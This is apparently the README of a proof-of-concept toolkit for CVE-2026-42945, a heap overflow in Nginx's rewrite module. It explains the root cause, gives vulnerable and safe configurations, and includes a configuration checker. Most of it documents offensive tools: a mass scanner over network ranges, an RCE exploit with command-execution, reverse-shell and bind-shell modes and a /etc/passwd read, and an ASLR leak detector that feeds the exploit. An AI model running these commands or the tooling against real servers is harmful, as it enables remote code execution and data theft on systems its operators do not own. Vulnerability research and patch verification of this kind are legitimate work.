CVE-2026-42945 Nginx Rift - PoC Toolkit

A comprehensive proof-of-concept toolkit for CVE-2026-42945 (Nginx Rift), a critical heap buffer overflow vulnerability in Nginx's ngx_http_rewrite_module.

---

Vulnerability Summary

Field	Details
CVE ID	CVE-2026-42945
Name	Nginx Rift
Type	Heap Buffer Overflow
Component	ngx_http_rewrite_module
Severity	Critical (CVSS 9.2)
Affected	Nginx 0.6.27 - 1.30.0
Patched	Nginx 1.30.1 / 1.31.0

Root Cause

The vulnerability exists due to a size miscalculation between two internal passes when processing rewrite rules. If a configuration uses:

• Unnamed regex captures ($1, $2, etc.)
• Combined with a replacement string containing ?

Nginx miscalculates the required buffer size during the first pass and writes beyond the allocated heap buffer during the second pass.

Example Vulnerable Configuration

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Safe Configuration (Patched)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

---

Toolkit Components

1. nginx_rift_poc.py - Core PoC Tool

Single-target vulnerability scanner and exploitation tool.

Features:

• Detect Nginx version from Server header
• Check if version is in the vulnerable range
• Send crafted HTTP payloads to trigger heap overflow
• Generate vulnerable/safe test configurations

Usage:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - Mass Scanner

Batch scanner for testing multiple targets concurrently.

Features:

• Multi-threaded scanning (default 50 threads)
• Target list from file or CIDR network range
• JSON output for integration
• Automatic SSL detection for port 443

Usage:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Target file format:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - Configuration Analyzer

Scan local Nginx configuration files for vulnerable rewrite patterns.

Features:

• Parse nginx.conf and follow include directives
• Detect unnamed captures with ? in replacement strings
• Auto-fix support (with backup)
• Recursive directory scanning

Usage:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - Enhanced RCE PoC

Advanced exploit tool based on depthfirst's official research, supporting multiple rewrite patterns and exploit modes.

Features:

• Auto-detect 8 common vulnerable rewrite patterns (/api/, /redirect/, /user/, etc.)
• Support multiple overflow trigger characters (+, &, =, %)
• Smart payload generation with controlled overflow size
• Multiple exploit modes: cmd / shell / bind / read
• Custom heap/libc base addresses for ASLR-off environments
• Dynamic spray body construction with fake ngx_pool_cleanup_s

Usage:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Exploit Mode Details:

Mode	Description	Output
cmd	Execute single shell command	Command output on target
shell	Spawn reverse shell	Connects back to --listen-ip:listen-port
bind	Spawn bind shell on target	Listen on --listen-port at target
read	Read file from target	Content written to /tmp/nginx_rift_read

Address Configuration (ASLR-off only):

• --heap-base: Target heap base (e.g., 0x555555559000)
• --libc-base: libc base address (e.g., 0x7ffff77ba000)
• --system-addr: Direct system() address (overrides libc-base)

5. aslr_leak_detector.py - ASLR Leak Detector

Comprehensive scanner for detecting information leaks that can bypass ASLR protection.

Features:

• HTTP header leak detection (Server, X-Powered-By, etc.)
• Error page analysis for memory addresses and stack traces
• Nginx-specific endpoint probing (/nginx_status, /actuator/*, etc.)
• Memory address leak detection (64-bit pointers, heap/libc/stack addresses)
• Heap layout probing via timing analysis
• ASLR status inference (enabled/disabled/weak)
• Direct integration with enhanced_poc.py via JSON report

Usage:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Integration with Enhanced PoC:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

---

Vulnerability Detection Indicators

The PoC tool identifies vulnerability through these indicators:

Indicator	Description
Connection dropped	Target closes connection unexpectedly (worker crash)
Gateway errors	HTTP 502/503/504 responses (worker process died)
Slow responses	Response time significantly increases (crash recovery)
Empty responses	Response body disappears compared to baseline
Version match	Detected Nginx version is in vulnerable range

---

Installation

No external dependencies required. Uses only Python standard library.

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945